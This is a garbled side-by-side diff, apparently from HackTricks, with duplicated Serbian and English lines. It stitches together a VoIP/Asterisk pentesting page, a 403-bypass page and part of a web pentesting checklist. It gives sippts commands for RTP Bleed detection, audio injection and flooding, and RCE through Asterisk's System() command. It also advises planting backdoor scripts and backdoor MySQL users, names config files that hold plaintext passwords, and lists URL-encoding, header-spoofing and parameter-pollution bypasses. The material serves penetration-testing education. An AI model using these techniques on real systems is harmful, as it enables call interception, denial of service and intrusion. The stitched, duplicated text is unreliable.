**RTCPBleed** je veliki bezbednosni problem koji utiče na Asterisk-bazirane VoIP servere (objavljen 2017. godine). Ranjivost omogućava **RTP (Real Time Protocol) saobraćaju**, koji nosi VoIP razgovore, da bude **presretnut i preusmeren od strane bilo koga na Internetu**. To se dešava zato što RTP saobraćaj zaobilazi autentifikaciju prilikom navigacije kroz NAT (Network Address Translation) vatrozidove. **RTCPBleed** je veliki bezbednosni problem koji utiče na Asterisk-bazirane VoIP servere (objavljen 2017. godine). Ranjivost omogućava **RTP (Real Time Protocol) saobraćaju**, koji nosi VoIP razgovore, da bude **presretnut i preusmeren od strane bilo koga na Internetu**. To se dešava zato što RTP saobraćaj zaobilazi autentifikaciju prilikom navigacije kroz NAT (Network Address Translation) vatrozidove.
RTP proksi pokušavaju da reše **NAT ograničenja** koja utiču na RTC sisteme tako što proksiraju RTP tokove između dve ili više strana. Kada je NAT u upotrebi, RTP proksi softver često ne može da se oslanja na RTP IP i port informacije dobijene putem signalizacije (npr. SIP). Stoga, niz RTP proksija je implementirao mehanizam gde se takav **IP i port tuplet automatski uči**. To se često radi inspekcijom dolaznog RTP saobraćaja i označavanjem izvornog IP i porta za bilo koji dolazni RTP saobraćaj kao onog na koji treba odgovoriti. Ovaj mehanizam, koji se može nazvati "način učenja", **ne koristi nikakvu vrstu autentifikacije**. Stoga **napadači** mogu **slati RTP saobraćaj ka RTP proksiju** i primati proksirani RTP saobraćaj koji je namenjen pozivaocu ili pozvanom u toku RTP toka. Ovu ranjivost nazivamo RTP Bleed jer omogućava napadačima da primaju RTP medijske tokove koji su namenjeni za legitimne korisnike. RTP proksiji pokušavaju da reše **NAT ograničenja** koja utiču na RTC sisteme tako što proksiraju RTP tokove između dve ili više strana. Kada je NAT u upotrebi, RTP proksi softver često ne može da se oslanja na RTP IP i port informacije dobijene putem signalizacije (npr. SIP). Stoga, niz RTP proksija je implementirao mehanizam gde se takav **IP i port tuplet automatski uči**. To se često radi inspekcijom dolaznog RTP saobraćaja i označavanjem izvornog IP i porta za bilo koji dolazni RTP saobraćaj kao onog na koji treba odgovoriti. Ovaj mehanizam, koji se može nazvati "način učenja", **ne koristi nikakvu vrstu autentifikacije**. Stoga **napadači** mogu **slati RTP saobraćaj ka RTP proksiju** i primati proksirani RTP saobraćaj koji je namenjen pozivaocu ili pozvanom u toku RTP toka. Ovu ranjivost nazivamo RTP Bleed jer omogućava napadačima da primaju RTP medijske tokove koji su namenjeni za legitimne korisnike.
Još jedno zanimljivo ponašanje RTP proksija i RTP stekova je da ponekad, **čak i ako nisu ranjivi na RTP Bleed**, oni će **prihvatiti, proslediti i/ili obraditi RTP pakete iz bilo kojeg izvora**. Stoga napadači mogu slati RTP pakete koji im mogu omogućiti da ubace svoj medij umesto legitimnog. Ovaj napad nazivamo RTP injekcija jer omogućava ubacivanje nelegitimnih RTP paketa u postojeće RTP tokove. Ova ranjivost može se naći i u RTP proksijima i na krajnjim tačkama. Još jedno zanimljivo ponašanje RTP proksija i RTP stekova je da ponekad, **čak i ako nisu ranjivi na RTP Bleed**, oni će **prihvatiti, proslediti i/ili obraditi RTP pakete iz bilo kojeg izvora**. Stoga napadači mogu slati RTP pakete koji im mogu omogućiti da ubace svoj medij umesto legitimnog. Ovaj napad nazivamo RTP injekcija jer omogućava ubacivanje nelegitimnih RTP paketa u postojeće RTP tokove. Ova ranjivost može se naći i u RTP proksijima i u krajnjim tačkama.
Asterisk i FreePBX su tradicionalno koristili **`NAT=yes` podešavanje**, koje omogućava RTP saobraćaju da zaobiđe autentifikaciju, potencijalno dovodeći do nedostatka zvuka ili jednosmernog zvuka na pozivima. Asterisk i FreePBX tradicionalno koriste **`NAT=yes` podešavanje**, koje omogućava RTP saobraćaju da zaobiđe autentifikaciju, potencijalno dovodeći do nedostatka zvuka ili jednosmernog zvuka na pozivima.
Za više informacija proverite [https://www.rtpbleed.com/](https://www.rtpbleed.com/) Za više informacija posetite [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
* **`SIPPTS rtpbleed`** iz [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed detektuje RTP Bleed ranjivost slanjem RTP tokova. * **`SIPPTS rtpbleed`** iz [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed detektuje RTP Bleed ranjivost slanjem RTP tokova.
```bash ```bash
sippts rtpbleed -i 10.10.0.10 sippts rtpbleed -i 10.10.0.10
``` ```
* **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed otkriva RTP Bleed ranjivost slanjem RTCP strimova. * **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed otkriva RTP Bleed ranjivost slanjem RTCP tokova.
```bash ```bash
sippts rtcpbleed -i 10.10.0.10 sippts rtcpbleed -i 10.10.0.10
``` ```
@ -568,62 +576,62 @@ sippts rtcpbleed -i 10.10.0.10
```bash ```bash
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
``` ```
* **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject koristi RTP Bleed ranjivost za injectovanje audio fajla (WAV format). * **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject koristi RTP Bleed ranjivost injektujući audio fajl (WAV format).
```bash ```bash
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
``` ```
### RCE ### RCE
U Asterisk-u nekako uspete da **dodate pravila ekstenzije i ponovo ih učitate** (na primer, kompromitovanjem ranjivog web menadžera), moguće je dobiti RCE koristeći **`System`** komandu. U Asterisk-u na neki način uspete da **dodate pravila ekstenzije i ponovo ih učitate** (na primer, kompromitovanjem ranjivog web menadžera), moguće je dobiti RCE koristeći **`System`** komandu.
```scss ```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
``` ```
Postoji komanda pod nazivom **`Shell`** koja se može koristiti **umesto `System`** za izvršavanje sistemskih komandi ako je to potrebno. There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
{% hint style="warning" %} {% hint style="warning" %}
Ako server **ne dozvoljava korišćenje određenih karaktera** u **`System`** komandi (kao u Elastix-u), proverite da li web server dozvoljava **kreiranje fajlova na neki način unutar sistema** (kao u Elastix-u ili trixbox-u), i koristite to da **napravite skriptu za backdoor** i zatim koristite **`System`** da **izvršite** tu **skriptu**. If the server is **disallowing the use of certain characters** in the **`System`** command (like in Elastix), check if the web server allows to **create files somehow inside the system** (like in Elastix or trixbox), and use it to **create a backdoor script** and then use **`System`** to **execute** that **script**.
{% endhint %} {% endhint %}
#### Zanimljivi lokalni fajlovi i dozvole #### Interesting local files and permissions
* **`sip.conf`** -> Sadrži lozinku SIP korisnika. * **`sip.conf`** -> Sadrži lozinku SIP korisnika.
* Ako **Asterisk server radi kao root**, mogli biste kompromitovati root. * If the **Asterisk server is running as root**, you could compromise root
* **mysql root korisnik** možda **nema lozinku**. * **mysql root user** might **doesn't have any password**.
* ovo se može koristiti za kreiranje novog mysql korisnika kao backdoor. * this could be used to create a new mysql user as backdoor
* **`FreePBX`** * **`FreePBX`**
* **`amportal.conf`** -> Sadrži lozinku administratora web panela (FreePBX). * **`amportal.conf`** -> Sadrži lozinku administratora web panela (FreePBX)
* **`FreePBX.conf`** -> Sadrži lozinku korisnika FreePBXuser koji se koristi za pristup bazi podataka. * **`FreePBX.conf`** -> Sadrži lozinku korisnika FreePBXuser koji se koristi za pristup bazi podataka
* ovo se može koristiti za kreiranje novog mysql korisnika kao backdoor. * this could be used to create a new mysql user as backdoor
* **`Elastix`** * **`Elastix`**
* **`Elastix.conf`** -> Sadrži nekoliko lozinki u čistom tekstu kao što su mysql root lozinka, IMAPd lozinka, lozinka web administratora. * **`Elastix.conf`** -> Sadrži nekoliko lozinki u čistom tekstu kao što su mysql root lozinka, IMAPd lozinka, lozinka web administratora
* **NSeveral folderi** će pripadati kompromitovanom asterisk korisniku (ako ne radi kao root). Ovaj korisnik može čitati prethodne fajlove i takođe kontroliše konfiguraciju, tako da može naterati Asterisk da učita druge backdoored binarne fajlove kada se izvrše. * **Several folders** will belong to the compromised asterisk user (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed.
### RTP Injekcija ### RTP Injection
Moguće je umetnuti **`.wav`** u razgovore koristeći alate kao što su **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) i **`rtpmixsound`** (`sudo apt install rtpmixsound`). It's possible to insert a **`.wav`** in converstions using tools such as **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) and **`rtpmixsound`** (`sudo apt install rtpmixsound`).
Ili možete koristiti skripte sa [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) da **skenirate razgovore** (**`rtpscan.pl`**), pošaljete `.wav` u razgovor (**`rtpsend.pl`**) i **ubacite buku** u razgovor (**`rtpflood.pl`**). Or you could use the scripts from [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) to **scan conversations** (**`rtpscan.pl`**), send a `.wav` to a conversation (**`rtpsend.pl`**) and **insert noise** in a conversation (**`rtpflood.pl`**).
### DoS ### DoS
Postoji nekoliko načina da se pokuša postići DoS na VoIP serverima. There are several ways to try to achieve DoS in VoIP servers.
* **`SIPPTS flood`** iz [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood šalje neograničene poruke cilju. * **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood sends unlimited messages to the target.
* `sippts flood -i 10.10.0.10 -m invite -v` * `sippts flood -i 10.10.0.10 -m invite -v`
* **`SIPPTS ping`** iz [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping pravi SIP ping da vidi vreme odgovora servera. * **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping makes a SIP ping to see the server response time.
* `sippts ping -i 10.10.0.10` * `sippts ping -i 10.10.0.10`
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protokol koji koristi Asterisk. * [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protokol koji koristi Asterisk
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Alat za izvođenje SIP/SDP INVITE poruka preplavljivanja preko UDP/IP. * [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Alat za izvođenje SIP/SDP INVITE poruka preplavljivanja preko UDP/IP.
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Šalje nekoliko dobro formiranih RTP paketa. Potrebno je znati RTP portove koji se koriste (prvo ih snimiti). * [**rtpflood**](https://www.kali.org/tools/rtpflood/): Pošaljite nekoliko dobro formiranih RTP paketa. Potrebno je znati RTP portove koji se koriste (sniff first).
* [**SIPp**](https://github.com/SIPp/sipp): Omogućava analizu i generisanje SIP saobraćaja, tako da se može koristiti i za DoS. * [**SIPp**](https://github.com/SIPp/sipp): Omogućava analizu i generisanje SIP saobraćaja. takođe se može koristiti za DoS.
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP švajcarski nož. Takođe se može koristiti za izvođenje SIP napada. * [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP švajcarski nož. Takođe se može koristiti za izvođenje SIP napada.
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper). * Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
### OS Ranljivosti ### OS Vulnerabilities
Najlakši način da se instalira softver kao što je Asterisk je da se preuzme **OS distribucija** koja ga već ima instaliranog, kao što su: **FreePBX, Elastix, Trixbox**... Problem sa njima je što kada počnu da rade, sistem administratori možda **neće ponovo ažurirati** i **ranljivosti** će se otkrivati s vremenom. The easiest way to install a software such as Asterisk is to download an **OS distribution** that has it already installed, such as: **FreePBX, Elastix, Trixbox**... The problem with those is that once it's working sysadmins might **not update them again** and **vulnerabilities** are going to be discovered with time.
## Reference ## References
* [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki) * [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki)
* [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious) * [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious)
@ -633,16 +641,24 @@ Najlakši način da se instalira softver kao što je Asterisk je da se preuzme *
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf) * [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
<details> <details>
<summary>Podrška HackTricks</summary> <summary>Support HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,7 +17,9 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Izvršite potpuni pentest sa bilo kog mesta sa 20+ alata i funkcija koje idu od rekognicije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera na vaše web aplikacije, mrežu i cloud
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -27,7 +29,7 @@ Pokušajte koristiti **različite glagole** za pristup datoteci: `GET, HEAD, POS
* Proverite zaglavlja odgovora, možda se može dobiti neka informacija. Na primer, **200 odgovor** na **HEAD** sa `Content-Length: 55` znači da **HEAD glagol može pristupiti informaciji**. Ali još uvek morate pronaći način da exfiltrirate te informacije. * Proverite zaglavlja odgovora, možda se može dobiti neka informacija. Na primer, **200 odgovor** na **HEAD** sa `Content-Length: 55` znači da **HEAD glagol može pristupiti informaciji**. Ali još uvek morate pronaći način da exfiltrirate te informacije.
* Korišćenje HTTP zaglavlja kao što je `X-HTTP-Method-Override: PUT` može prepisati korišćeni glagol. * Korišćenje HTTP zaglavlja kao što je `X-HTTP-Method-Override: PUT` može prepisati korišćeni glagol.
* Koristite **`TRACE`** glagol i ako imate sreće, možda u odgovoru možete videti i **zaglavlja koja su dodali međuproksiji** koja bi mogla biti korisna. * Koristite **`TRACE`** glagol i ako imate sreće možda u odgovoru možete videti i **zaglavlja koja su dodali međuproksiji** koja bi mogla biti korisna.
## HTTP Headers Fuzzing ## HTTP Headers Fuzzing
@ -53,18 +55,18 @@ Ako je **putanja zaštićena**, možete pokušati da zaobiđete zaštitu putanje
* `X-Original-URL: /admin/console` * `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console` * `X-Rewrite-URL: /admin/console`
* Ako je stranica **iza proksija**, možda je proksi taj koji vam sprečava da pristupite privatnim informacijama. Pokušajte da zloupotrebite [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **ili** [**hop-by-hop zaglavlja**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.** * Ako je stranica **iza proksija**, možda je proksi taj koji vam sprečava pristup privatnim informacijama. Pokušajte zloupotrebiti [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **ili** [**hop-by-hop zaglavlja**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
* Fuzz [**specijalna HTTP zaglavlja**](special-http-headers.md) tražeći različite odgovore. * Fuzz [**posebna HTTP zaglavlja**](special-http-headers.md) tražeći različite odgovore.
* **Fuzz specijalna HTTP zaglavlja** dok fuzzujete **HTTP metode**. * **Fuzz posebna HTTP zaglavlja** dok fuzzujete **HTTP metode**.
* **Uklonite Host zaglavlje** i možda ćete moći da zaobiđete zaštitu. * **Uklonite Host zaglavlje** i možda ćete moći da zaobiđete zaštitu.
## Path **Fuzzing** ## Path **Fuzzing**
Ako je _/path_ blokiran: Ako je _/path_ blokiran:
* Pokušajte koristiti _**/**_**%2e/path \_(ako je pristup blokiran od strane proksija, ovo bi moglo zaobići zaštitu). Pokušajte takođe**\_\*\* /%252e\*\*/path (dupla URL enkodiranje) * Pokušajte koristiti _**/**_**%2e/path \_(ako je pristup blokiran proksijem, ovo bi moglo zaobići zaštitu). Pokušajte takođe**\_\*\* /%252e\*\*/path (dupla URL enkodiranje)
* Pokušajte **Unicode zaobilaženje**: _/**%ef%bc%8f**path_ (URL enkodirani karakteri su poput "/") tako da kada se ponovo enkodira, biće _//path_ i možda ste već zaobišli proveru imena _/path_ * Pokušajte **Unicode bypass**: _/**%ef%bc%8f**path_ (URL enkodirani karakteri su kao "/") tako da kada se ponovo enkodira biće _//path_ i možda ste već zaobišli proveru imena _/path_
* **Druga zaobilaženja putanje**: * **Drugi zaobilaženja putanje**:
* site.com/secret > HTTP 403 Forbidden * site.com/secret > HTTP 403 Forbidden
* site.com/SECRET > HTTP 200 OK * site.com/SECRET > HTTP 200 OK
* site.com/secret/ > HTTP 200 OK * site.com/secret/ > HTTP 200 OK
@ -75,7 +77,7 @@ Ako je _/path_ blokiran:
* site.com/.;/secret > HTTP 200 OK * site.com/.;/secret > HTTP 200 OK
* site.com//;//secret > HTTP 200 OK * site.com//;//secret > HTTP 200 OK
* site.com/secret.json > HTTP 200 OK (ruby) * site.com/secret.json > HTTP 200 OK (ruby)
* Koristite sve [**ovu listu**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) u sledećim situacijama: * Koristite svih [**ovih listu**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) u sledećim situacijama:
* /FUZZsecret * /FUZZsecret
* /FUZZ/secret * /FUZZ/secret
* /secretFUZZ * /secretFUZZ
@ -89,14 +91,14 @@ Ako je _/path_ blokiran:
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (JSON Parameter Pollution) * {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (JSON Parameter Pollution)
* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Parameter Pollution) * user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Parameter Pollution)
## **Manipulacija parametrima** ## **Manipulacija parametrom**
* Promenite **vrednost parametra**: Od **`id=123` --> `id=124`** * Promenite **vrednost parametra**: Od **`id=123` --> `id=124`**
* Dodajte dodatne parametre u URL: `?`**`id=124` —-> `id=124&isAdmin=true`** * Dodajte dodatne parametre u URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
* Uklonite parametre * Uklonite parametre
* Promenite redosled parametara * Promenite redosled parametara
* Koristite specijalne karaktere. * Koristite posebne karaktere.
* Izvršite testiranje granica u parametrima — pružite vrednosti poput _-234_ ili _0_ ili _99999999_ (samo neke primer vrednosti). * Izvršite testiranje granica u parametrima — pružite vrednosti kao što su _-234_ ili _0_ ili _99999999_ (samo neki primeri).
## **Verzija protokola** ## **Verzija protokola**
@ -105,7 +107,7 @@ Ako koristite HTTP/1.1 **pokušajte koristiti 1.0** ili čak testirajte da li **
## **Druga zaobilaženja** ## **Druga zaobilaženja**
* Dobijte **IP** ili **CNAME** domena i pokušajte **kontaktirati ga direktno**. * Dobijte **IP** ili **CNAME** domena i pokušajte **kontaktirati ga direktno**.
* Pokušajte da **opterećujete server** slanjem uobičajenih GET zahteva ([Ovo je uspelo ovom tipu sa Facebook-om](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). * Pokušajte da **opterećujete server** slanjem uobičajenih GET zahteva ([Ovo je uspelo ovom tipu sa Facebookom](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
* **Promenite protokol**: sa http na https, ili za https na http * **Promenite protokol**: sa http na https, ili za https na http
* Idite na [**https://archive.org/web/**](https://archive.org/web/) i proverite da li je u prošlosti ta datoteka bila **globalno dostupna**. * Idite na [**https://archive.org/web/**](https://archive.org/web/) i proverite da li je u prošlosti ta datoteka bila **globalno dostupna**.
@ -132,13 +134,15 @@ guest guest
* [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx) * [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
* [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403) * [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
* [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass) * [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
* [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122) * [Burp ekstenzija - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
* [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster) * [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
* [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden) * [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite potpuno pentestiranje sa bilo kog mesta sa 20+ alata i funkcija koje idu od rekognicije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -15,15 +15,17 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_). #### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
{% embed url="https://www.stmcyber.com/careers" %} **Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
## Osnovne Informacije {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Web servis je najviše **uobičajen i opsežan servis** i postoji mnogo **različitih tipova ranjivosti**. ## Osnovne informacije
Veb servis je naj **češći i opsežan servis** i postoji mnogo **različitih tipova ranjivosti**.
**Podrazumevani port:** 80 (HTTP), 443(HTTPS) **Podrazumevani port:** 80 (HTTP), 443(HTTPS)
```bash ```bash
@ -49,7 +51,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
* [ ] Počnite sa **identifikovanjem** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspešno identifikujete tehnologiju. * [ ] Počnite sa **identifikovanjem** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspešno identifikujete tehnologiju.
* [ ] Da li postoji neka **poznata ranjivost** verzije tehnologije? * [ ] Da li postoji neka **poznata ranjivost** verzije tehnologije?
* [ ] Koristite neku **poznatu tehnologiju**? Ima li nekog **korisnog trika** za izvlačenje više informacija? * [ ] Koristite neku **poznatu tehnologiju**? Ima li nekog **korisnog trika** za izvlačenje više informacija?
* [ ] Da li postoji neki **specijalizovani skener** za pokretanje (kao što je wpscan)? * [ ] Da li postoji neki **specijalizovani skener** koji treba pokrenuti (kao što je wpscan)?
* [ ] Pokrenite **skeneri opšte namene**. Nikada ne znate da li će pronaći nešto ili ako će pronaći neku zanimljivu informaciju. * [ ] Pokrenite **skeneri opšte namene**. Nikada ne znate da li će pronaći nešto ili ako će pronaći neku zanimljivu informaciju.
* [ ] Počnite sa **početnim proverama**: **robots**, **sitemap**, **404** greška i **SSL/TLS sken** (ako je HTTPS). * [ ] Počnite sa **početnim proverama**: **robots**, **sitemap**, **404** greška i **SSL/TLS sken** (ako je HTTPS).
* [ ] Počnite sa **spidering** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**. * [ ] Počnite sa **spidering** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**.
@ -124,12 +126,12 @@ Ako web aplikacija koristi neku poznatu **tehnologiju/platformu navedenu ranije*
Ako je **izvorni kod** aplikacije dostupan na **github**, pored izvođenja **sopstvenog White box testa** aplikacije, postoji **neka informacija** koja bi mogla biti **korisna** za trenutni **Black-Box testiranje**: Ako je **izvorni kod** aplikacije dostupan na **github**, pored izvođenja **sopstvenog White box testa** aplikacije, postoji **neka informacija** koja bi mogla biti **korisna** za trenutni **Black-Box testiranje**:
* Da li postoji **Change-log ili Readme ili Verzija** fajl ili bilo šta sa **informacijama o verziji dostupnim** putem web-a? * Da li postoji **Change-log ili Readme ili Verzija** fajl ili bilo šta sa **informacijama o verziji dostupnim** putem weba?
